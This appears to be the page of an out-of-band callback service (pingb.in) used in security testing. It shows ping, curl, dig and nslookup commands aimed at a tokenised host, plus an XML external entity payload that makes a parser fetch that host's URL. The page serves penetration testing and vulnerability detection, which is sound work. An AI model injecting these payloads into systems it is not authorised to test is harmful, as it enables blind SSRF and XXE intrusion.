$ ping -c1 -p 0083fa12ef1d1b51cf5a1a3582533b00 pingb.in
 
$ curl pingb.in/p/83fa12ef1d1b51cf5a1a3582533b
 
$ dig 83fa12ef1d1b51cf5a1a3582533b @pingb.in
 
$ dig 83fa12ef1d1b51cf5a1a3582533b.ns.pingb.in
 
C:\> nslookup 83fa12ef1d1b51cf5a1a3582533b pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/83fa12ef1d1b51cf5a1a3582533b">]>
    <foo>&xxe;</foo>
 
Waiting for ping...